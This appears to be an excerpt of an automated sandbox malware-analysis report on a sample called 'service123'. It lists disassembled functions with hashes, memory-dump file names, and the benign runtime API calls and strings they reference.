Instruction Fuzzy Hash: 47319CB5B053109BDB10EF29C4847AEBBE4AF5960CF10496DE8858BB41D735E849CBA3

Function 6C9CF7DA Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d293effda91a0dbedca7bccaa7a53f0857bf4e01584938b475929c43b1fe56b
Instruction ID: e7bd0256aa77320846ba6d6567994a297812834f7344d528fc7eac865fb14601
Opcode Fuzzy Hash: 4d293effda91a0dbedca7bccaa7a53f0857bf4e01584938b475929c43b1fe56b
Instruction Fuzzy Hash: 9601D631B042108BDB04EF7AD894799BBE8EF1565CF1454ACD856DBB41D731E409C7A3

Function 6C9CF7DE Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bb3c407fb21faf65b8df2dbc5f96d5689d318ecbb056e4b971d7635ff681b28
Instruction ID: c69b3f4801c466dd6841ca9f23aa4aaaa059d9b187bc267cf806faa74ae6e894
Opcode Fuzzy Hash: 7bb3c407fb21faf65b8df2dbc5f96d5689d318ecbb056e4b971d7635ff681b28
Instruction Fuzzy Hash: 8A01B130B042109BDB04DE7AD89479ABBE8EF0565CF5444A9D856DBB41D331E80AC7A3

Function 6C9CCFB3 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1666dad36a0711409e23897b4d1db0e62d2183889c67f71802418dc97a1c9262
Instruction ID: 313930c3ac9e1e957984c6b56b874cc161fd10123ba8ad93a2737a4bfb15d45f
Opcode Fuzzy Hash: 1666dad36a0711409e23897b4d1db0e62d2183889c67f71802418dc97a1c9262
Instruction Fuzzy Hash: 5E117CB25002108BDB409F69C1963AABBB4FF40314F48C0A9DD489FB5AC779848DCFE5

Function 6C9E6DEA Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c286d6c3f391dae483fbf161f3f2538d930294d41d0168d76b3d587b0a096b84
Instruction ID: b1fe7f7854ff5963c349722131788fc238724488fbbffd1fb4607397fc0b8bd7
Opcode Fuzzy Hash: c286d6c3f391dae483fbf161f3f2538d930294d41d0168d76b3d587b0a096b84
Instruction Fuzzy Hash: F01125B19053059FD700EF68C88479ABBF0BF09328F108A58E9A49B781D371D889CB91

Function 6C9D0D3A Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c286d6c3f391dae483fbf161f3f2538d930294d41d0168d76b3d587b0a096b84
Instruction ID: b7237055b20ff349e7df9c72caf0e63478f888e8155b925be229812c8cc0caba
Opcode Fuzzy Hash: c286d6c3f391dae483fbf161f3f2538d930294d41d0168d76b3d587b0a096b84
Instruction Fuzzy Hash: 59110AB59053059FD700EF68C88479AFFF0BF05328F109658E8559B795D371E489CB91

Function 6C9E6DEE Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b9fc9efbf62a4f3d4dd1c89151f9dd6abeb0ccf3a2cdefff8632cfe568791b
Instruction ID: 1ed366ba4d8f81c405e4e5e77ec1866677f7ad01d60364d9cc2df5c5f96d4f78
Opcode Fuzzy Hash: 97b9fc9efbf62a4f3d4dd1c89151f9dd6abeb0ccf3a2cdefff8632cfe568791b
Instruction Fuzzy Hash: 7D11F7B59053059FD700DF68C88479AFBF0BF09328F148658E9649B395D371D889CBD1

Function 6C9D0D3E Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b9fc9efbf62a4f3d4dd1c89151f9dd6abeb0ccf3a2cdefff8632cfe568791b
Instruction ID: 657d650825aaad238a20e5d1924c089aca47fb8dd0104408779a7b1d7da31abd
Opcode Fuzzy Hash: 97b9fc9efbf62a4f3d4dd1c89151f9dd6abeb0ccf3a2cdefff8632cfe568791b
Instruction Fuzzy Hash: 6511E5B49053059FD700DF68C48479AFBF0BB05328F109658E9649B395D371E889CBA1

Function 6C9E513A Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcad26861499fb8c7970242b3947613f110b190d54f9cb0c4c247c508001299a
Instruction ID: c4287ddea1238bb2fa1ca7badab0b57decbcaf4572e1d6ff7ccd6b97347b9151
Opcode Fuzzy Hash: bcad26861499fb8c7970242b3947613f110b190d54f9cb0c4c247c508001299a
Instruction Fuzzy Hash: 07F0C2B2A092245BC7122FA998802EEFB789F2A30CF00596DD89567B42D731C54C87E6

Function 6C9E513E Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 756b8b1f51ed3530583fc0e3b2aceff2a806d29bde6c2bf42920e25fd5671341
Instruction ID: 11e509f4f40c2e0a6dffacf89240e5727e0c5eeed18ab8a3ac085c629cb5383b
Opcode Fuzzy Hash: 756b8b1f51ed3530583fc0e3b2aceff2a806d29bde6c2bf42920e25fd5671341
Instruction Fuzzy Hash: FEF0B4B2E052546BCB126F9998802EEFB789F2A358F00592DDD5567B42D331C50C87F5

Function 6C9CF99E Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0314573256b721499f57bdf5cfd4a55bcc35240fcc73e1828a5ca678d72c8227
Instruction ID: d0e0bcb79879dcf178c7f6693f0c01b7503488b810e7b3998804d099825c3495
Opcode Fuzzy Hash: 0314573256b721499f57bdf5cfd4a55bcc35240fcc73e1828a5ca678d72c8227
Instruction Fuzzy Hash: 69F0BEB5A0A7508FC710EF3D808462AFBE0BF1964CF11596DE89A97B01E230D9088B93

Function 6C97C730 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32d65a5223603546b05cb48533364c3580650ec518c10711eb193f5cd9976244
Instruction ID: dad205f53219d4a9c4893a4641220630197433050e39a3a86b525fda586d00f5
Opcode Fuzzy Hash: 32d65a5223603546b05cb48533364c3580650ec518c10711eb193f5cd9976244
Instruction Fuzzy Hash: C7C08CB1C043508BC200BF3C970922DFAB06F82208F843DACE48893B82E739C45C8A5B

Function 6C97F800 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C97F871
fwrite.MSVCRT ref: 6C97F918
fputs.MSVCRT ref: 6C97F935
fwrite.MSVCRT ref: 6C97F95E
fputs.MSVCRT ref: 6C97F97D
fwrite.MSVCRT ref: 6C97F9AC
fwrite.MSVCRT ref: 6C97F9DE
abort.MSVCRT ref: 6C97F9E3
abort.MSVCRT ref: 6CA3F363
free.MSVCRT ref: 6CA3F36B

Part of subcall function 6C96A220: strlen.MSVCRT ref: 6C96A2A5
Part of subcall function 6C96A220: memcpy.MSVCRT ref: 6C96A2C0
Part of subcall function 6C96A220: free.MSVCRT(?,?,?,?,?,?,?,?,?,6C97F8EC), ref: 6C96A2CA

Strings

terminate called without an active exception, xrefs: 6C97F9A5
terminate called after throwing an instance of ', xrefs: 6C97F911
-, xrefs: 6C97F991
not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 6C97F819

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called without an active exception
API String ID: 4144276882-4175505668
Opcode ID: 75360e6be3cc4180f298c35885c5fa91870e0a1ad3743a1c498156bd0fba2f7a
Instruction ID: 935c3ec51babac24e0771085a0e3d965ccada0d6f027213c406ad8f219f3e95a
Opcode Fuzzy Hash: 75360e6be3cc4180f298c35885c5fa91870e0a1ad3743a1c498156bd0fba2f7a
Instruction Fuzzy Hash: 6A5147B09093159ED710AF28C98879EBBF4AF95308F00C91DE49887781DB7AD489CF63

Function 002B1970 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 002B199F
vfprintf.MSVCRT ref: 002B19BF
abort.MSVCRT ref: 002B19C4
VirtualQuery.KERNEL32 ref: 002B1A5B

Strings

Mingw-w64 runtime failure:, xrefs: 002B1998
Address %p has no image-section, xrefs: 002B1B1B
VirtualQuery failed for %d bytes at address %p, xrefs: 002B1B07
VirtualProtect failed with code 0x%x, xrefs: 002B1AD6

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 9dbdb689993f652cdd93ba2c39fe2a2706c81fa0e66bfe14d1c46e5e8dc15461
Instruction ID: 343884c577929a26dc1db40e3c4a88d26340af094ab653d21a0216c01d82f145
Opcode Fuzzy Hash: 9dbdb689993f652cdd93ba2c39fe2a2706c81fa0e66bfe14d1c46e5e8dc15461
Instruction Fuzzy Hash: B6515EB1918301DFC700EF28D88569AFBE4FF84394F558A2DE4989B215E334E864CF92

Function 6C96A570 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6C96A59F
vfprintf.MSVCRT ref: 6C96A5BF
abort.MSVCRT ref: 6C96A5C4
VirtualQuery.KERNEL32 ref: 6C96A65B

Strings

VirtualProtect failed with code 0x%x, xrefs: 6C96A6D6
VirtualQuery failed for %d bytes at address %p, xrefs: 6C96A707
Address %p has no image-section, xrefs: 6C96A71B
Mingw-w64 runtime failure:, xrefs: 6C96A598

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 9274d62606454f8e30e4fa0cd33ad644126d0db6c86e2c37dde490b942074bf2
Instruction ID: ded4661496267664d50c4885e8a187900133678ec75855499e3702a5640ff063
Opcode Fuzzy Hash: 9274d62606454f8e30e4fa0cd33ad644126d0db6c86e2c37dde490b942074bf2
Instruction Fuzzy Hash: C85169B1A053118FD700DF29C48564AFBF4FF95358F51C92DD8989BA54EB30E849CBA2

Function 6C97ABD1 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C97ABF0
GetProcAddress.KERNEL32 ref: 6C97AC0A
LoadLibraryW.KERNEL32 ref: 6C97AC2F
GetProcAddress.KERNEL32 ref: 6C97AC43

Strings

advapi32.dll, xrefs: 6C97AC28
msvcrt.dll, xrefs: 6C97ABE5
rand_s, xrefs: 6C97ABFF
SystemFunction036, xrefs: 6C97AC38

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 2d2e8ab94ff4bc4175d82071a6e21cca67ed42fb8dd8df5164b0ec04dd7a467d
Instruction ID: 20370ee55c73612b20e9900cb6a4d466bbf05917f992d9bca23616864c0fac93
Opcode Fuzzy Hash: 2d2e8ab94ff4bc4175d82071a6e21cca67ed42fb8dd8df5164b0ec04dd7a467d
Instruction Fuzzy Hash: 75F03CB2915341DFCB10BF3CC94A25EBBB0BB0A345F01892DD89597610EB34E445CBA3

Function 6CA07E30 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6CA07ED9
memcpy.MSVCRT ref: 6CA07F04
memmove.MSVCRT ref: 6CA07F61
memmove.MSVCRT ref: 6CA07F99
memcpy.MSVCRT ref: 6CA07FF4

Strings

basic_string::_M_replace, xrefs: 6CA08171

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: e58683dc031f000a7bbf7e04559a9374844fbe063017c5033c4d5249e6491655
Instruction ID: 8b2d9c626f64a61fb76c8ca5cf4e1c326d60d7c56996968d793ed3c2d15465bf
Opcode Fuzzy Hash: e58683dc031f000a7bbf7e04559a9374844fbe063017c5033c4d5249e6491655
Instruction Fuzzy Hash: 18A12875A093558FC300DF68D08052EFBE1BF89788F14892EF89897B10E775E984CB86

Function 6CA03FA0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 212COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6CA04046
memcpy.MSVCRT ref: 6CA04070
memmove.MSVCRT ref: 6CA040C8
memmove.MSVCRT ref: 6CA04103
memcpy.MSVCRT ref: 6CA04156

Strings

basic_string::_M_replace, xrefs: 6CA042A4

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 28a66220cc922601371652c3cedd3019fce4eccca94b3d620b59a6362fcd3053
Instruction ID: 79ff10ce8318336c2d2ccafcaeed4b802260aed09503a8ac605997e098921e95
Opcode Fuzzy Hash: 28a66220cc922601371652c3cedd3019fce4eccca94b3d620b59a6362fcd3053
Instruction Fuzzy Hash: A8813874A0D3519FC301DF28D48055EFBE0BFAA788F15891EE8D897B21D635D984CB42

Function 6C961400 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6C961410
LoadLibraryA.KERNEL32 ref: 6C961426
GetProcAddress.KERNEL32 ref: 6C961445
GetProcAddress.KERNEL32 ref: 6C961457

Strings

__deregister_frame_info, xrefs: 6C96144C
libgcc_s_dw2-1.dll, xrefs: 6C961409, 6C96141F
__register_frame_info, xrefs: 6C96143A

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: ef0c30e382ba071ffd3080b9b486f9cd27479d9b747213766bc13d70523b1e6f
Instruction ID: eba604e900677ce169aecd5c3c8a8bdea2cfe4944e419abe438c7e87c40e7345
Opcode Fuzzy Hash: ef0c30e382ba071ffd3080b9b486f9cd27479d9b747213766bc13d70523b1e6f
Instruction Fuzzy Hash: 070192B2919300CBD7007F7DA50721ABFB4AA86246F41C92EC98687A50D730C444CBD3

Function 6C98AED0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 243stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 6C98AF33
strlen.MSVCRT ref: 6C98AF61
strlen.MSVCRT ref: 6C98AFBE
strlen.MSVCRT ref: 6C98B025
strlen.MSVCRT ref: 6C98B08A
strlen.MSVCRT ref: 6C98B13E

Strings

basic_string::append, xrefs: 6C98B1FA, 6C98B206, 6C98B212, 6C98B21E
*, xrefs: 6C98B190

Memory Dump Source

